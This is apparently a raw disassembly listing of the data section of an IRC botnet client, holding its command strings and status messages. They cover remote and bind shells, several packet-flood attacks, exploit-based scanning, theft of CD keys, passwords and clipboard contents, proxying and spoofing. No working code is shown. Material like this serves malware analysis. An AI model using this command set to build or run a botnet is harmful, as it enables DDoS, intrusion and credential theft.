dword_42BA24 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401ACD+295Ao
dd 65726874h, 2E736461h, 0
dword_42BA44 dd 627573h ; DATA XREF: sub_401ACD+2934o
dword_42BA48 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_401ACD+28E2o
dd 2E7473h
unk_42BA60 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0
dword_42BA98 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401ACD+2858o
dd 2E676Fh
dword_42BAB0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_401ACD+27B3o
dd 6F666E49h, 2Eh
dword_42BACC dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_401ACD+2784o
dd 2E6F666Eh, 0
dword_42BAE8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_401ACD+272Fo
dd 746F4220h, 2Eh
unk_42BB04 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0
align 10h
dword_42BB40 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401ACD+269Eo
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo
align 4
unk_42BB64 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
dword_42BB84 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o
aSearchComplete db '- Search completed.',0
dword_42BBA4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: sub_401ACD+25ADo
dd 2E7325h
unk_42BBBC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42BBDC db 2Dh ; - ; DATA XREF: sub_401ACD+2513o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42BC04 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 10h
dword_42BC30 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_401ACD+24DEo
dd 72616F62h, 2E64h
dword_42BC4C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+24B0o
dd 2Dh
unk_42BC64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 10h
unk_42BC90 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42BCB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 10h
unk_42BCE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2467o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 10h
unk_42BD30 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42BD6C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDA8 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BDE4 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o
; sub_40BACD+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE20 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BE5C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo
; sub_40BACD+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 10h
unk_42BE90 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_4 db ' Already running.',0
align 10h
unk_42BEB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_28 db '- Failed to start scan, port is invalid.',0
align 4
unk_42BEE8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42BF24 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 10h
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o
; sub_401ACD+5BEEo
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o
; sub_401ACD+5BE7o
align 4
unk_42BFA4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0
unk_42BFE4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0
unk_42C020 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co
align 4
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
align 4
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o
align 4
aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo
align 4
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE7o
; sub_401ACD+4FA1o
dword_42C090 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: sub_401ACD+1B97o
dd 746F6220h, 2Eh
aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o
; sub_401ACD+1BD1o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o
align 10h
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o
align 4
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao
align 10h
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o
align 4
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o
align 10h
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo
unk_42C138 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o
; sub_401ACD+3CAFo ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo
align 4
unk_42C16C db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 10h
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1A0 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+195Bo
dword_42C1B4 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo
dword_42C1B8 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1C4 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo
aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o
align 4
aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o
align 10h
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do
align 4
aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o
align 4
aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o
align 4
aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo
; sub_401ACD+1804o
align 4
aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo
align 10h
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o
aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o
align 4
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o
align 4
aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co
align 4
aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o
aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o
align 10h
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do
aT: ; DATA XREF: sub_401ACD+1708o
; ___:00437F84o
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o
unk_42C284 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
unk_42C2AC db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o
align 4
aI: ; DATA XREF: sub_401ACD+168Co
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401ACD+1677o
align 4
aS_0: ; DATA XREF: sub_401ACD+1662o
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do
align 4
aQ: ; DATA XREF: sub_401ACD+1638o
; ___:off_437BF0o
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o
align 4
aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o
align 4
aR: ; DATA XREF: sub_401ACD+15E4o
; sub_401ACD+3DA8o ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo
align 4
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
align 4
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o
align 4
aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co
align 4
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o
align 10h
dword_42C370 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co
aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o
align 4
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo
align 10h
dword_42C390 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o
align 4
dword_42C3B4 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o
align 10h
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do
align 4
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o
align 4
dword_42C404 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo
align 10h
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o
align 10h
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo
unk_42C44C db 2Dh ; - ; DATA XREF: sub_401ACD+1371o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42C480 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o
; sub_401ACD+13D2o
dword_42C490 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o
; sub_401ACD+13CDo
dword_42C4A0 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o
; sub_401ACD+13A9o
dword_42C4B0 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o
; sub_401ACD+13A4o
dword_42C4C0 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o
; sub_401ACD+1424o
dword_42C4CC dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
; sub_401ACD+141Fo
dword_42C4D8 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
; sub_401ACD+13FBo
dword_42C4E4 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
; sub_401ACD+13F6o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o
align 4
dword_42C4FC dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao
; sub_401ACD+12F7o
dword_42C508 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
; sub_401ACD+12F2o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co
align 10h
dword_42C520 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o
; sub_401ACD+12D9o
dword_42C530 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo
; sub_401ACD+12D4o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o
align 4
dword_42C54C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o
; sub_401ACD+1357o
dword_42C55C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o
; sub_401ACD+1352o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo
align 4
dword_42C578 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
; sub_401ACD+1279o
dword_42C584 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
; sub_401ACD+1274o
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o
dword_42C598 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o
; sub_401ACD+125Bo
dword_42C5A4 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
; sub_401ACD+1256o
dword_42C5B0 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5BC dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do
dword_42C5CC dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo
align 4
dword_42C5EC dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C5F8 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o
dword_42C60C dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo
align 4
dword_42C628 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o
align 4
dword_42C644 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo
align 10h
aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o
align 4
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o
align 4
dword_42C66C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1052o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do
; sub_401ACD+10B7o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o
align 4
aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o
align 10h
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo
; sub_401ACD+2D69o
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o
; sub_401ACD+2D58o
align 4
aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co
align 4
aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o
aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o
align 4
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o
align 4
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo
align 10h
aD: ; DATA XREF: sub_401ACD+EF9o
; ___:00437C1Co ...
unicode 0, <d>,0
aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o
aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo
align 4
aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o
a63 db '63',0 ; DATA XREF: sub_401ACD+D84o
align 4
asc_42C718: ; DATA XREF: sub_401ACD+D5Co
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o
align 10h
aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o
align 4
aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o
aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o
aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o
align 4
aK: ; DATA XREF: sub_401ACD+AA6o
; sub_401ACD+3DD2o ...
unicode 0, <k>,0
unk_42C75C db 2Dh ; - ; DATA XREF: sub_401ACD+A80o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 10h
unk_42C790 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 10h
unk_42C7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o
align 10h
unk_42C820 db 2Dh ; - ; DATA XREF: sub_401ACD+938o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+920o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0
align 10h
dword_42C8A0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+90Fo
dd 0A0Dh
dword_42C8B8 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo
dword_42C8C0 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8D0o
dd 0D017325h, 0Ah
dword_42C8DC dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo
dword_42C8E8 dd 23h ; DATA XREF: sub_401ACD+816o
; sub_40CA7F+1Bo
unk_42C8EC db 2Dh ; - ; DATA XREF: sub_401ACD+785o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o
; sub_401ACD+995o ...
align 10h
aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo
align 4
dword_42C928 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o
dword_42C930 dd 323333h ; DATA XREF: sub_401ACD+64Bo
; sub_401ACD+ADCo ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o
; sub_409A72+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do
; sub_409A72+16o
unk_42C944 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User: %s logged out.',0
align 4
unk_42C968 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: %s.',0
a353 db '353',0 ; DATA XREF: sub_401ACD+574o
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o
align 4
aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o
; sub_401ACD+5E9o
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+60Do
unk_42C9BC db 2Dh ; - ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2EBCo ...
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User %s logged out.',0
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7C8Eo ...
align 10h
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_4177CF:loc_417837o
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3B7o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 10h
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_4177CF+50o
align 4
asc_42CA28: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7DADo
unicode 0, <!>,0
asc_42CA2C: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E5Co ...
unicode 0, < >,0
asc_42CA30 db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_402601o
align 4
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
